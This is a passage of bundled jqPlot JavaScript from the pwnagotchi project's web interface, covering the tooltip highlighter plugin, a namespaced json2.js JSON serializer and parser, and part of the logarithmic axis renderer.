this.plugins.highlighter._tooltipElem = null; } this.plugins.highlighter.highlightCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(this.plugins.highlighter.highlightCanvas.createElement(this._gridPadding, 'jqplot-highlight-canvas', this._plotDimensions, this)); this.plugins.highlighter.highlightCanvas.setContext(); var elem = document.createElement('div'); this.plugins.highlighter._tooltipElem = $(elem); elem = null; this.plugins.highlighter._tooltipElem.addClass('jqplot-highlighter-tooltip'); this.plugins.highlighter._tooltipElem.css({position:'absolute', display:'none'}); this.eventCanvas._elem.before(this.plugins.highlighter._tooltipElem); }; $.jqplot.preInitHooks.push($.jqplot.Highlighter.init); $.jqplot.preParseSeriesOptionsHooks.push($.jqplot.Highlighter.parseOptions); $.jqplot.postDrawHooks.push($.jqplot.Highlighter.postPlotDraw); function draw(plot, neighbor) { var hl = plot.plugins.highlighter; var s = plot.series[neighbor.seriesIndex]; var smr = s.markerRenderer; var mr = hl.markerRenderer; mr.style = smr.style; mr.lineWidth = smr.lineWidth + hl.lineWidthAdjust; mr.size = smr.size + hl.sizeAdjust; var rgba = $.jqplot.getColorComponents(smr.color); var newrgb = [rgba[0], rgba[1], rgba[2]]; var alpha = (rgba[3] >= 0.6) ? rgba[3]*0.6 : rgba[3]*(2-rgba[3]); mr.color = 'rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+','+alpha+')'; mr.init(); mr.draw(s.gridData[neighbor.pointIndex][0], s.gridData[neighbor.pointIndex][1], hl.highlightCanvas._ctx); } function showTooltip(plot, series, neighbor) { // neighbor looks like: {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]} // gridData should be x,y pixel coords on the grid. // add the plot._gridPadding to that to get x,y in the target. var hl = plot.plugins.highlighter; var elem = hl._tooltipElem; var serieshl = series.highlighter || {}; var opts = $.extend(true, {}, hl, serieshl); if (opts.useAxesFormatters) { var xf = series._xaxis._ticks[0].formatter; var yf = series._yaxis._ticks[0].formatter; var xfstr = series._xaxis._ticks[0].formatString; var yfstr = series._yaxis._ticks[0].formatString; var str; var xstr = xf(xfstr, neighbor.data[0]); var ystrs = []; for (var i=1; i<opts.yvalues+1; i++) { ystrs.push(yf(yfstr, neighbor.data[i])); } if (typeof opts.formatString === 'string') { switch (opts.tooltipAxes) { case 'both': case 'xy': ystrs.unshift(xstr); ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; case 'yx': ystrs.push(xstr); ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; case 'x': str = $.jqplot.sprintf.apply($.jqplot.sprintf, [opts.formatString, xstr]); break; case 'y': ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; default: // same as xy ystrs.unshift(xstr); ystrs.unshift(opts.formatString); str = $.jqplot.sprintf.apply($.jqplot.sprintf, ystrs); break; } } else { switch (opts.tooltipAxes) { case 'both': case 'xy': str = xstr; for (var i=0; i<ystrs.length; i++) { str += opts.tooltipSeparator + ystrs[i]; } break; case 'yx': str = ''; for (var i=0; i<ystrs.length; i++) { str += ystrs[i] + opts.tooltipSeparator; } str += xstr; break; case 'x': str = xstr; break; case 'y': str = ystrs.join(opts.tooltipSeparator); break; default: // same as 'xy' str = xstr; for (var i=0; i<ystrs.length; i++) { str += opts.tooltipSeparator + ystrs[i]; } break; } } } else { var str; if (typeof opts.formatString === 'string') { str = $.jqplot.sprintf.apply($.jqplot.sprintf, [opts.formatString].concat(neighbor.data)); } else { if (opts.tooltipAxes == 'both' || opts.tooltipAxes == 'xy') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[0]) + opts.tooltipSeparator + $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[1]); } else if (opts.tooltipAxes == 'yx') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[1]) + opts.tooltipSeparator + $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[0]); } else if (opts.tooltipAxes == 'x') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[0]); } else if (opts.tooltipAxes == 'y') { str = $.jqplot.sprintf(opts.tooltipFormatString, neighbor.data[1]); } } } if ($.isFunction(opts.tooltipContentEditor)) { // args str, seriesIndex, pointIndex are essential so the hook can look up // extra data for the point. str = opts.tooltipContentEditor(str, neighbor.seriesIndex, neighbor.pointIndex, plot); } elem.html(str); var gridpos = {x:neighbor.gridData[0], y:neighbor.gridData[1]}; var ms = 0; var fact = 0.707; if (series.markerRenderer.show == true) { ms = (series.markerRenderer.size + opts.sizeAdjust)/2; } var loc = locations; if (series.fillToZero && series.fill && neighbor.data[1] < 0) { loc = oppositeLocations; } switch (loc[locationIndicies[opts.tooltipLocation]]) { case 'nw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - fact * ms; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - fact * ms; break; case 'n': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - ms; break; case 'ne': var x = gridpos.x + plot._gridPadding.left + opts.tooltipOffset + fact * ms; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - fact * ms; break; case 'e': var x = gridpos.x + plot._gridPadding.left + opts.tooltipOffset + ms; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; case 'se': var x = gridpos.x + plot._gridPadding.left + opts.tooltipOffset + fact * ms; var y = gridpos.y + plot._gridPadding.top + opts.tooltipOffset + fact * ms; break; case 's': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top + opts.tooltipOffset + ms; break; case 'sw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - fact * ms; var y = gridpos.y + plot._gridPadding.top + opts.tooltipOffset + fact * ms; break; case 'w': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - ms; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; default: // same as 'nw' var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset - fact * ms; var y = gridpos.y + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true) - fact * ms; break; } elem.css('left', x); elem.css('top', y); if (opts.fadeTooltip) { // Fix for stacked up animations. Thnanks Trevor! elem.stop(true,true).fadeIn(opts.tooltipFadeSpeed); } else { elem.show(); } elem = null; } function handleMove(ev, gridpos, datapos, neighbor, plot) { var hl = plot.plugins.highlighter; var c = plot.plugins.cursor; if (hl.show) { if (neighbor == null && hl.isHighlighting) { var evt = jQuery.Event('jqplotHighlighterUnhighlight'); plot.target.trigger(evt); var ctx = hl.highlightCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); if (hl.fadeTooltip) { hl._tooltipElem.fadeOut(hl.tooltipFadeSpeed); } else { hl._tooltipElem.hide(); } if (hl.bringSeriesToFront) { plot.restorePreviousSeriesOrder(); } hl.isHighlighting = false; hl.currentNeighbor = null; ctx = null; } else if (neighbor != null && plot.series[neighbor.seriesIndex].showHighlight && !hl.isHighlighting) { var evt = jQuery.Event('jqplotHighlighterHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data, plot]; plot.target.trigger(evt, ins); hl.isHighlighting = true; hl.currentNeighbor = neighbor; if (hl.showMarker) { draw(plot, neighbor); } if (plot.series[neighbor.seriesIndex].show && hl.showTooltip && (!c || !c._zoom.started)) { showTooltip(plot, plot.series[neighbor.seriesIndex], neighbor); } if (hl.bringSeriesToFront) { plot.moveSeriesToFront(neighbor.seriesIndex); } } // check to see if we're highlighting the wrong point. else if (neighbor != null && hl.isHighlighting && hl.currentNeighbor != neighbor) { // highlighting the wrong point. // if new series allows highlighting, highlight new point. if (plot.series[neighbor.seriesIndex].showHighlight) { var ctx = hl.highlightCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); hl.isHighlighting = true; hl.currentNeighbor = neighbor; if (hl.showMarker) { draw(plot, neighbor); } if (plot.series[neighbor.seriesIndex].show && hl.showTooltip && (!c || !c._zoom.started)) { showTooltip(plot, plot.series[neighbor.seriesIndex], neighbor); } if (hl.bringSeriesToFront) { plot.moveSeriesToFront(neighbor.seriesIndex); } } } } } })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.json2.js ================================================ /* 2010-11-01 Chris Leonello Slightly modified version of the original json2.js to put JSON functions under the $.jqplot namespace. licensing and orignal comments follow: http://www.JSON.org/json2.js 2010-08-25 Public Domain. NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. See http://www.JSON.org/js.html This code should be minified before deployment. See http://javascript.crockford.com/jsmin.html USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO NOT CONTROL. This file creates a global JSON object containing two methods: stringify and parse. $.jqplot.JSON.stringify(value, replacer, space) value any JavaScript value, usually an object or array. replacer an optional parameter that determines how object values are stringified for objects. It can be a function or an array of strings. space an optional parameter that specifies the indentation of nested structures. If it is omitted, the text will be packed without extra whitespace. If it is a number, it will specify the number of spaces to indent at each level. If it is a string (such as '\t' or ' '), it contains the characters used to indent at each level. This method produces a JSON text from a JavaScript value. When an object value is found, if the object contains a toJSON method, its toJSON method will be called and the result will be stringified. A toJSON method does not serialize: it returns the value represented by the name/value pair that should be serialized, or undefined if nothing should be serialized. The toJSON method will be passed the key associated with the value, and this will be bound to the value For example, this would serialize Dates as ISO strings. Date.prototype.toJSON = function (key) { function f(n) { // Format integers to have at least two digits. return n < 10 ? '0' + n : n; } return this.getUTCFullYear() + '-' + f(this.getUTCMonth() + 1) + '-' + f(this.getUTCDate()) + 'T' + f(this.getUTCHours()) + ':' + f(this.getUTCMinutes()) + ':' + f(this.getUTCSeconds()) + 'Z'; }; You can provide an optional replacer method. It will be passed the key and value of each member, with this bound to the containing object. The value that is returned from your method will be serialized. If your method returns undefined, then the member will be excluded from the serialization. If the replacer parameter is an array of strings, then it will be used to select the members to be serialized. It filters the results such that only members with keys listed in the replacer array are stringified. Values that do not have JSON representations, such as undefined or functions, will not be serialized. Such values in objects will be dropped; in arrays they will be replaced with null. You can use a replacer function to replace those with JSON values. $.jqplot.JSON.stringify(undefined) returns undefined. The optional space parameter produces a stringification of the value that is filled with line breaks and indentation to make it easier to read. If the space parameter is a non-empty string, then that string will be used for indentation. If the space parameter is a number, then the indentation will be that many spaces. Example: text = $.jqplot.JSON.stringify(['e', {pluribus: 'unum'}]); // text is '["e",{"pluribus":"unum"}]' text = $.jqplot.JSON.stringify(['e', {pluribus: 'unum'}], null, '\t'); // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]' text = $.jqplot.JSON.stringify([new Date()], function (key, value) { return this[key] instanceof Date ? 'Date(' + this[key] + ')' : value; }); // text is '["Date(---current time---)"]' $.jqplot.JSON.parse(text, reviver) This method parses a JSON text to produce an object or array. It can throw a SyntaxError exception. The optional reviver parameter is a function that can filter and transform the results. It receives each of the keys and values, and its return value is used instead of the original value. If it returns what it received, then the structure is not modified. If it returns undefined then the member is deleted. Example: // Parse the text. Values that look like ISO date strings will // be converted to Date objects. myData = $.jqplot.JSON.parse(text, function (key, value) { var a; if (typeof value === 'string') { a = /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value); if (a) { return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], +a[5], +a[6])); } } return value; }); myData = $.jqplot.JSON.parse('["Date(09/09/2001)"]', function (key, value) { var d; if (typeof value === 'string' && value.slice(0, 5) === 'Date(' && value.slice(-1) === ')') { d = new Date(value.slice(5, -1)); if (d) { return d; } } return value; }); This is a reference implementation. You are free to copy, modify, or redistribute. */ (function($) { $.jqplot.JSON = window.JSON; if (!window.JSON) { $.jqplot.JSON = {}; } function f(n) { // Format integers to have at least two digits. return n < 10 ? '0' + n : n; } if (typeof Date.prototype.toJSON !== 'function') { Date.prototype.toJSON = function (key) { return isFinite(this.valueOf()) ? this.getUTCFullYear() + '-' + f(this.getUTCMonth() + 1) + '-' + f(this.getUTCDate()) + 'T' + f(this.getUTCHours()) + ':' + f(this.getUTCMinutes()) + ':' + f(this.getUTCSeconds()) + 'Z' : null; }; String.prototype.toJSON = Number.prototype.toJSON = Boolean.prototype.toJSON = function (key) { return this.valueOf(); }; } var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, gap, indent, meta = { // table of character substitutions '\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '"' : '\\"', '\\': '\\\\' }, rep; function quote(string) { // If the string contains no control characters, no quote characters, and no // backslash characters, then we can safely slap some quotes around it. // Otherwise we must also replace the offending characters with safe escape // sequences. escapable.lastIndex = 0; return escapable.test(string) ? '"' + string.replace(escapable, function (a) { var c = meta[a]; return typeof c === 'string' ? c : '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }) + '"' : '"' + string + '"'; } function str(key, holder) { // Produce a string from holder[key]. var i, // The loop counter. k, // The member key. v, // The member value. length, mind = gap, partial, value = holder[key]; // If the value has a toJSON method, call it to obtain a replacement value. if (value && typeof value === 'object' && typeof value.toJSON === 'function') { value = value.toJSON(key); } // If we were called with a replacer function, then call the replacer to // obtain a replacement value. if (typeof rep === 'function') { value = rep.call(holder, key, value); } // What happens next depends on the value's type. switch (typeof value) { case 'string': return quote(value); case 'number': // JSON numbers must be finite. Encode non-finite numbers as null. return isFinite(value) ? String(value) : 'null'; case 'boolean': case 'null': // If the value is a boolean or null, convert it to a string. Note: // typeof null does not produce 'null'. The case is included here in // the remote chance that this gets fixed someday. return String(value); // If the type is 'object', we might be dealing with an object or an array or // null. case 'object': // Due to a specification blunder in ECMAScript, typeof null is 'object', // so watch out for that case. if (!value) { return 'null'; } // Make an array to hold the partial results of stringifying this object value. gap += indent; partial = []; // Is the value an array? if (Object.prototype.toString.apply(value) === '[object Array]') { // The value is an array. Stringify every element. Use null as a placeholder // for non-JSON values. length = value.length; for (i = 0; i < length; i += 1) { partial[i] = str(i, value) || 'null'; } // Join all of the elements together, separated with commas, and wrap them in // brackets. v = partial.length === 0 ? '[]' : gap ? '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' : '[' + partial.join(',') + ']'; gap = mind; return v; } // If the replacer is an array, use it to select the members to be stringified. if (rep && typeof rep === 'object') { length = rep.length; for (i = 0; i < length; i += 1) { k = rep[i]; if (typeof k === 'string') { v = str(k, value); if (v) { partial.push(quote(k) + (gap ? ': ' : ':') + v); } } } } else { // Otherwise, iterate through all of the keys in the object. for (k in value) { if (Object.hasOwnProperty.call(value, k)) { v = str(k, value); if (v) { partial.push(quote(k) + (gap ? ': ' : ':') + v); } } } } // Join all of the member texts together, separated with commas, // and wrap them in braces. v = partial.length === 0 ? '{}' : gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' : '{' + partial.join(',') + '}'; gap = mind; return v; } } // If the JSON object does not yet have a stringify method, give it one. if (typeof $.jqplot.JSON.stringify !== 'function') { $.jqplot.JSON.stringify = function (value, replacer, space) { // The stringify method takes a value and an optional replacer, and an optional // space parameter, and returns a JSON text. The replacer can be a function // that can replace values, or an array of strings that will select the keys. // A default replacer method can be provided. Use of the space parameter can // produce text that is more easily readable. var i; gap = ''; indent = ''; // If the space parameter is a number, make an indent string containing that // many spaces. if (typeof space === 'number') { for (i = 0; i < space; i += 1) { indent += ' '; } // If the space parameter is a string, it will be used as the indent string. } else if (typeof space === 'string') { indent = space; } // If there is a replacer, it must be a function or an array. // Otherwise, throw an error. rep = replacer; if (replacer && typeof replacer !== 'function' && (typeof replacer !== 'object' || typeof replacer.length !== 'number')) { throw new Error('$.jqplot.JSON.stringify'); } // Make a fake root object containing our value under the key of ''. // Return the result of stringifying the value. return str('', {'': value}); }; } // If the JSON object does not yet have a parse method, give it one. if (typeof $.jqplot.JSON.parse !== 'function') { $.jqplot.JSON.parse = function (text, reviver) { // The parse method takes a text and an optional reviver function, and returns // a JavaScript value if the text is a valid JSON text. var j; function walk(holder, key) { // The walk method is used to recursively walk the resulting structure so // that modifications can be made. var k, v, value = holder[key]; if (value && typeof value === 'object') { for (k in value) { if (Object.hasOwnProperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); } // Parsing happens in four stages. In the first stage, we replace certain // Unicode characters with escape sequences. JavaScript handles many characters // incorrectly, either silently deleting them, or treating them as line endings. text = String(text); cx.lastIndex = 0; if (cx.test(text)) { text = text.replace(cx, function (a) { return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }); } // In the second stage, we run the text against regular expressions that look // for non-JSON patterns. We are especially concerned with '()' and 'new' // because they can cause invocation, and '=' because it can cause mutation. // But just to be safe, we want to reject all unexpected forms. // We split the second stage into 4 regexp operations in order to work around // crippling inefficiencies in IE's and Safari's regexp engines. First we // replace the JSON backslash pairs with '@' (a non-JSON character). Second, we // replace all simple value tokens with ']' characters. Third, we delete all // open brackets that follow a colon or comma or that begin the text. Finally, // we look to see that the remaining characters are only whitespace or ']' or // ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval. if (/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']').replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { // In the third stage we use the eval function to compile the text into a // JavaScript structure. The '{' operator is subject to a syntactic ambiguity // in JavaScript: it can begin a block or an object literal. We wrap the text // in parens to eliminate the ambiguity. j = eval('(' + text + ')'); // In the optional fourth stage, we recursively walk the new structure, passing // each name/value pair to a reviver function for possible transformation. return typeof reviver === 'function' ? walk({'': j}, '') : j; } // If the text is not JSON parseable, then a SyntaxError is thrown. throw new SyntaxError('$.jqplot.JSON.parse'); }; } })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.logAxisRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * class: $.jqplot.LogAxisRenderer * A plugin for a jqPlot to render a logarithmic axis. * * To use this renderer, include the plugin in your source * > <script type="text/javascript" language="javascript" src="plugins/jqplot.logAxisRenderer.js"></script> * * and supply the appropriate options to your plot * * > {axes:{xaxis:{renderer:$.jqplot.LogAxisRenderer}}} **/ $.jqplot.LogAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); // prop: axisDefaults // Default properties which will be applied directly to the series. // // Group: Properties // // Properties // // base - the logarithmic base, commonly 2, 10 or Math.E // tickDistribution - Deprecated. "power" distribution of ticks // always used. Option has no effect. this.axisDefaults = { base : 10, tickDistribution :'power' }; }; $.jqplot.LogAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.LogAxisRenderer.prototype.constructor = $.jqplot.LogAxisRenderer; $.jqplot.LogAxisRenderer.prototype.init = function(options) { // prop: drawBaseline // True to draw the axis baseline. this.drawBaseline = true; // prop: minorTicks // Number of ticks to add between "major" ticks. // Major ticks are ticks supplied by user or auto computed. // Minor ticks cannot be created by user. this.minorTicks = 'auto'; this._scalefact = 1.0; $.extend(true, this, options); this._autoFormatString = '%d'; this._overrideFormatString = false; for (var d in this.renderer.axisDefaults) { if (this[d] == null) { this[d] = this.renderer.axisDefaults[d]; } } this.resetDataBounds(); }; $.jqplot.LogAxisRenderer.prototype.createTicks = function(plot) { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; var db = this._dataBounds; var dim = (this.name.charAt(0) === 'x') ? this._plotDimensions.width : this._plotDimensions.height; var interval; var min, max; var pos1, pos2; var tt, i; var threshold = 30; // For some reason scalefactor is screwing up ticks. this._scalefact = (Math.max(dim, threshold+1) - threshold)/300; // if we already have ticks, use them. // ticks must be in order of increasing value. if (userTicks.length) { // ticks could be 1D or 2D array of [val, val, ,,,] or [[val, label], [val, label], ...] or mixed for (i=0; i<userTicks.length; i++){ var ut = userTicks[i]; var t = new this.tickRenderer(this.tickOptions); if (ut.constructor == Array) { t.value = ut[0]; t.label = ut[1]; if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(ut[0], this.name); this._ticks.push(t); } else if ($.isPlainObject(ut)) { $.extend(true, t, ut); t.axis = this.name; this._ticks.push(t); } else { t.value = ut; if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(ut, this.name); this._ticks.push(t); } } this.numberTicks = userTicks.length; this.min = this._ticks[0].value; this.max = this._ticks[this.numberTicks-1].value; } // we don't have any ticks yet, let's make some! else if (this.min == null && this.max == null) { min = db.min * (2 - this.padMin); max = db.max * this.padMax; // if min and max are same, space them out a bit if (min == max) { var adj = 0.05; min = min*(1-adj); max = max*(1+adj); } // perform some checks if (this.min != null && this.min <= 0) { throw new Error("Log axis minimum must be greater than 0"); } if (this.max != null && this.max <= 0) { throw new Error("Log axis maximum must be greater than 0"); } function findCeil (val) { var order = Math.pow(10, Math.floor(Math.log(val)/Math.LN10)); return Math.ceil(val/order) * order; } function findFloor(val) { var order = Math.pow(10, Math.floor(Math.log(val)/Math.LN10)); return Math.floor(val/order) * order; } // var range = max - min; var rmin, rmax; // for power distribution, open up range to get a nice power of axis.renderer.base. // power distribution won't respect the user's min/max settings. rmin = Math.pow(this.base, Math.floor(Math.log(min)/Math.log(this.base))); rmax = Math.pow(this.base, Math.ceil(Math.log(max)/Math.log(this.base))); // // if min and max are same, space them out a bit // if (rmin === rmax) { // var adj = 0.05; // rmin = rmin*(1-adj); // rmax = rmax*(1+adj); // } // Handle case where a data value was zero if (rmin === 0) { rmin = 1; } var order = Math.round(Math.log(rmin)/Math.LN10); if (this.tickOptions == null || !this.tickOptions.formatString) { this._overrideFormatString = true; } this.min = rmin; this.max = rmax; var range = this.max - this.min; var minorTicks = (this.minorTicks === 'auto') ? 0 : this.minorTicks; var numberTicks; if (this.numberTicks == null){ if (dim > 140) { numberTicks = Math.round(Math.log(this.max/this.min)/Math.log(this.base) + 1); if (numberTicks < 2) { numberTicks = 2; } if (minorTicks === 0) { var temp = dim/(numberTicks - 1); if (temp < 100) { minorTicks = 0; } else if (temp < 190) { minorTicks = 1; } else if (temp < 250) { minorTicks = 3; } else if (temp < 600) { minorTicks = 4; } else { minorTicks = 9; } } } else { numberTicks = 2; if (minorTicks === 0) { minorTicks = 1; } minorTicks = 0; } } else { numberTicks = this.numberTicks; } if (order >= 0 && minorTicks !== 3) { this._autoFormatString = '%d'; } // Adjust format string for case with 3 ticks where we'll have like 1, 2.5, 5, 7.5, 10 else if (order <= 0 && minorTicks === 3) { var temp = -(order - 1); this._autoFormatString = '%.'+ Math.abs(order-1) + 'f'; } // Adjust format string for values less than 1. else if (order < 0) { var temp = -order; this._autoFormatString = '%.'+ Math.abs(order) + 'f'; } else { this._autoFormatString = '%d'; } var to, t, val, tt1, spread, interval; for (var i=0; i<numberTicks; i++){ tt = Math.pow(this.base, i - numberTicks + 1) * this.max; t = new this.tickRenderer(this.tickOptions); if (this._overrideFormatString) { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(tt, this.name); this._ticks.push(t); if (minorTicks && i<numberTicks-1) { tt1 = Math.pow(this.base, i - numberTicks + 2) * this.max; spread = tt1 - tt; interval = tt1 / (minorTicks+1); for (var j=minorTicks-1; j>=0; j--) { val = tt1-interval*(j+1); t = new this.tickRenderer(this.tickOptions); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(val, this.name); this._ticks.push(t); } } } } // min and max are set as would be the case with zooming else if (this.min != null && this.max != null) { var opts = $.extend(true, {}, this.tickOptions, {name: this.name, value: null}); var nt, ti; // don't have an interval yet, pick one that gives the most // "round" ticks we can get. if (this.numberTicks == null && this.tickInterval == null) { // var threshold = 30; var tdim = Math.max(dim, threshold+1); var nttarget = Math.ceil((tdim-threshold)/35 + 1); var ret = $.jqplot.LinearTickGenerator.bestConstrainedInterval(this.min, this.max, nttarget); this._autoFormatString = ret[3]; nt = ret[2]; ti = ret[4]; for (var i=0; i<nt; i++) { opts.value = this.min + i * ti; t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } } // for loose zoom, number ticks and interval are also set. else if (this.numberTicks != null && this.tickInterval != null) { nt = this.numberTicks; for (var i=0; i<nt; i++) { opts.value = this.min + i * this.tickInterval; t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } } } }; $.jqplot.LogAxisRenderer.prototype.pack = function(pos, offsets) { var lb = parseInt(this.base, 10); var ticks = this._ticks; var trans = function (v) { return Math.log(v)/Math.log(lb); }; var invtrans = function (v) { return Math.pow(Math.E, (Math.log(lb)*v)); }; var max = trans(this.max); var min = trans(this.min); var offmax = offsets.max; var offmin = offsets.min; var lshow = (this._label == null) ? false : this._label.show; for (var p in pos) { this._elem.css(p, pos[p]); } this._offsets = offsets; // pixellength will be + for x axes and - for y axes becasue pixels always measured from top left. var pixellength = offmax - offmin; var unitlength = max - min; // point to unit and unit to point conversions references to Plot DOM element top left corner. this.p2u = function(p){ return invtrans((p - offmin) * unitlength / pixellength + min); }; this.u2p = function(u){ return (trans(u) - min) * pixellength / unitlength + offmin; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (trans(u) - min) * pixellength / unitlength; }; this.series_p2u = function(p){ return invtrans(p * unitlength / pixellength + min); }; } // yaxis is max at top of canvas. else { this.series_u2p = function(u){ return (trans(u) - max) * pixellength / unitlength; }; this.series_p2u = function(p){ return invtrans(p * unitlength / pixellength + max); }; } if (this.show) { if (this.name == 'xaxis' || this.name == 'x2axis') { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { switch (t.labelPosition) { case 'auto': // position at end if (t.angle < 0) { shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; } // position at start else { shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; } break; case 'end': shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; case 'start': shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; break; case 'middle': shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; default: shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; } } else { shim = -t.getWidth()/2; } // var shim = t.getWidth()/2; var val = this.u2p(t.value) + shim + 'px'; t._elem.css('left', val); t.pack(); } } if (lshow) { var w = this._label._elem.outerWidth(true); this._label._elem.css('left', offmin + pixellength/2 - w/2 + 'px'); if (this.name == 'xaxis') { this._label._elem.css('bottom', '0px'); } else { this._label._elem.css('top', '0px'); } this._label.pack(); } } else { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { switch (t.labelPosition) { case 'auto': // position at end case 'end': if (t.angle < 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'start': if (t.angle > 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'middle': // if (t.angle > 0) { // shim = -t.getHeight()/2 + t._textRenderer.height * 